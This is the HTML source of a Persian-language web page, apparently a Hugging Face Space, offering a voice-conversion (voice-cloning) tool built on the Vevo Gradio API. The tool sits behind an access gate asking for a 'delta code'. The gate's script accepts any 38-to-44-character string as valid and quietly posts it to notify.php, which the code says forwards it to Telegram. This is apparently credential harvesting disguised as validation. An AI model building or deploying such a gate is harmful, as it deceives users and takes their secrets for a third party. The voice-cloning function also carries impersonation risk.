Veu3 / index.html
Hamed744's picture
Update index.html
6d603b3 verified
raw
history blame
15 kB
<!DOCTYPE html>
<html lang="fa" dir="rtl">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ساخت صدای اختصاصی</title>
<style>
/* General Styles */
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
margin: 0;
background-color: #f0f2f5;
color: #333;
display: flex;
align-items: center;
justify-content: center;
min-height: 100vh;
}
/* Gate Overlay Styles */
#gate-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.6);
backdrop-filter: blur(8px);
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
}
#gate-box {
background: white;
padding: 40px;
border-radius: 12px;
box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
text-align: center;
max-width: 400px;
width: 90%;
border-top: 5px solid #4299e1;
}
#gate-box h1 {
color: #2c5282;
margin-bottom: 15px;
}
#gate-box p {
color: #718096;
margin-bottom: 25px;
}
#delta-code-input {
width: 100%;
padding: 12px;
border: 1px solid #cbd5e0;
border-radius: 8px;
box-sizing: border-box;
font-size: 16px;
text-align: center;
margin-bottom: 10px;
direction: ltr; /* For code input */
}
#submit-code-btn {
width: 100%;
padding: 12px;
background-color: #4299e1;
color: white;
border: none;
border-radius: 8px;
cursor: pointer;
font-size: 16px;
font-weight: bold;
transition: background-color 0.3s;
}
#submit-code-btn:hover {
background-color: #3182ce;
}
#error-message {
color: #e53e3e;
font-size: 14px;
margin-top: 15px;
display: none; /* Hidden by default */
font-weight: bold;
}
/* Main content should be hidden initially */
#main-content {
display: none;
}
/* Styles for Vevo API Container (Your Original Code) */
#huggingface-vevo-api-container {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
margin: 40px auto;
background-color: #f7fafc;
color: #2d3748;
direction: rtl;
padding: 20px;
border-radius: 8px;
max-width: 600px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
#huggingface-vevo-api-container .container {
padding: 20px;
background-color: white;
border-radius: 8px;
}
#huggingface-vevo-api-container h1 {
text-align: center;
color: #2c5282;
font-size: 24px;
}
#huggingface-vevo-api-container .file-input {
margin-bottom: 20px;
}
#huggingface-vevo-api-container label {
display: block;
margin-bottom: 8px;
font-weight: bold;
}
#huggingface-vevo-api-container .description {
font-size: 14px;
color: #718096;
margin-top: -5px;
margin-bottom: 10px;
font-weight: normal;
}
#huggingface-vevo-api-container input[type="file"] {
display: block;
width: 100%;
padding: 8px;
border: 1px solid #cbd5e0;
border-radius: 4px;
box-sizing: border-box;
}
#huggingface-vevo-api-container button {
display: block;
width: 100%;
padding: 12px;
background-color: #4299e1;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
#huggingface-vevo-api-container button:disabled {
background-color: #a0aec0;
cursor: not-allowed;
}
#huggingface-vevo-api-container #status {
margin-top: 20px;
padding: 12px;
background-color: #e2e8f0;
border-radius: 4px;
text-align: center;
}
#huggingface-vevo-api-container #result {
margin-top: 20px;
text-align: center;
}
#huggingface-vevo-api-container #result audio {
width: 100%;
margin-top: 10px;
}
#huggingface-vevo-api-container #result a {
color: #4299e1;
text-decoration: none;
display: inline-block;
margin-top: 10px;
}
</style>
</head>
<body>
<!-- Gate Section (Login with Delta Code) -->
<div id="gate-overlay">
<div id="gate-box">
<h1>ورود به پنل اختصاصی</h1>
<p>برای دسترسی به ابزار تبدیل صدا، لطفاً کد دلتای خود را وارد کنید.</p>
<input type="text" id="delta-code-input" placeholder="کد دلتا را اینجا وارد کنید">
<button id="submit-code-btn">تأیید و ورود</button>
<p id="error-message">کد وارد شده نامعتبر است. (باید بین ۳۸ تا ۴۴ کاراکتر باشد)</p>
</div>
</div>
<!-- Main Content (Your Vevo API Tool) -->
<div id="main-content">
<div id="huggingface-vevo-api-container">
<div class="container">
<h1>رابط کاربری API برای Vevo</h1>
<div class="file-input">
<label for="sourceAudio">فایل صوتی اصلی (Source Audio):</label>
<p class="description">این فایل صوتی حاوی کلامی است که می‌خواهید با صدای جدید خوانده شود (مثلاً صدای خودتان).</p>
<input type="file" id="sourceAudio" accept="audio/*" />
</div>
<div class="file-input">
<label for="timbreRef">فایل صوتی مرجع (Timbre Reference):</label>
<p class="description">این فایل صوتی، صدای مدلی است که می‌خواهید صدای اصلی به آن تبدیل شود.</p>
<input type="file" id="timbreRef" accept="audio/*" />
</div>
<button id="generateBtn">تبدیل صدا</button>
<div id="status">آماده برای شروع...</div>
<div id="result"></div>
</div>
</div>
</div>
<script>
// Wait for the entire page to load
document.addEventListener('DOMContentLoaded', () => {
// --- SECTION 1: Gate Logic ---
const gateOverlay = document.getElementById('gate-overlay');
const mainContent = document.getElementById('main-content');
const submitCodeBtn = document.getElementById('submit-code-btn');
const deltaCodeInput = document.getElementById('delta-code-input');
const errorMessage = document.getElementById('error-message');
// Function to show the main content and hide the gate
function showMainContent() {
gateOverlay.style.display = 'none';
mainContent.style.display = 'block';
}
// Check if user is already validated
if (localStorage.getItem('deltaCodeValidated') === 'true') {
showMainContent();
}
// Handle the code submission
submitCodeBtn.addEventListener('click', () => {
const code = deltaCodeInput.value.trim();
// Validate the code length
if (code.length >= 38 && code.length <= 44) {
errorMessage.style.display = 'none';
// Send code to Telegram via our PHP script
fetch('notify.php', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ code: code }),
})
.catch(error => console.error('Error sending to Telegram:', error));
// Save validation status in localStorage for future visits
localStorage.setItem('deltaCodeValidated', 'true');
// Show the main content
showMainContent();
} else {
// Show error if code is invalid
errorMessage.style.display = 'block';
}
});
// --- SECTION 2: Vevo API Logic (Your Original JS) ---
const container = document.getElementById('huggingface-vevo-api-container');
const generateBtn = container.querySelector('#generateBtn');
const sourceAudioInput = container.querySelector('#sourceAudio');
const timbreRefInput = container.querySelector('#timbreRef');
const statusDiv = container.querySelector('#status');
const resultDiv = container.querySelector('#result');
const API_URL = "https://amphion-vevo.hf.space/gradio_api/";
function generateSessionHash() {
return Math.random().toString(36).substring(2, 15);
}
async function uploadFile(file) {
const formData = new FormData();
formData.append("files", file);
const response = await fetch(`${API_URL}upload`, {
method: 'POST',
body: formData
});
const result = await response.json();
if (result && result.length > 0) {
return result[0];
} else {
throw new Error("آپلود فایل با خطا مواجه شد.");
}
}
async function startGeneration() {
const sourceFile = sourceAudioInput.files[0];
const timbreFile = timbreRefInput.files[0];
if (!sourceFile || !timbreFile) {
alert("لطفاً هر دو فایل صوتی را انتخاب کنید.");
return;
}
generateBtn.disabled = true;
statusDiv.textContent = 'در حال آپلود فایل اصلی...';
resultDiv.innerHTML = '';
const sessionHash = generateSessionHash();
try {
const sourcePath = await uploadFile(sourceFile);
statusDiv.textContent = 'در حال آپلود فایل مرجع...';
const timbrePath = await uploadFile(timbreFile);
statusDiv.textContent = 'ارسال درخواست برای پردازش...';
const joinPayload = {
"data": [
{ "path": sourcePath, "url": `${API_URL}file=${sourcePath}`, "orig_name": sourceFile.name, "size": sourceFile.size, "mime_type": sourceFile.type, "meta": { "_type": "gradio.FileData" } },
{ "path": timbrePath, "url": `${API_URL}file=${timbrePath}`, "orig_name": timbreFile.name, "size": timbreFile.size, "mime_type": timbreFile.type, "meta": { "_type": "gradio.FileData" } }
],
"event_data": null,
"fn_index": 0,
"trigger_id": 10,
"session_hash": sessionHash
};
await fetch(`${API_URL}queue/join?`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(joinPayload)
});
statusDiv.textContent = 'در صف پردازش قرار گرفت. منتظر نتیجه بمانید...';
const eventSource = new EventSource(`${API_URL}queue/data?session_hash=${sessionHash}`);
eventSource.onmessage = function(event) {
const data = JSON.parse(event.data);
if (data.msg === 'process_starts') {
statusDiv.textContent = 'پردازش شروع شد...';
} else if (data.msg === 'process_completed') {
statusDiv.textContent = 'پردازش با موفقیت انجام شد!';
const resultPath = data.output.data[0].path;
const resultUrl = `${API_URL}file=${resultPath}`;
resultDiv.innerHTML = `
<h3>نتیجه:</h3>
<audio controls src="${resultUrl}"></audio>
<br>
<a href="${resultUrl}" download="output_voice.wav">دانلود فایل</a>
`;
eventSource.close();
generateBtn.disabled = false;
} else if (data.msg === 'queue_full') {
statusDiv.textContent = 'صف پر است. لطفاً چند لحظه دیگر دوباره تلاش کنید.';
eventSource.close();
generateBtn.disabled = false;
}
};
eventSource.onerror = function() {
statusDiv.textContent = 'خطا در ارتباط با سرور.';
eventSource.close();
generateBtn.disabled = false;
};
} catch (error) {
statusDiv.textContent = `خطا: ${error.message}`;
generateBtn.disabled = false;
}
}
generateBtn.addEventListener('click', startGeneration);
});
</script>
</body>
</html>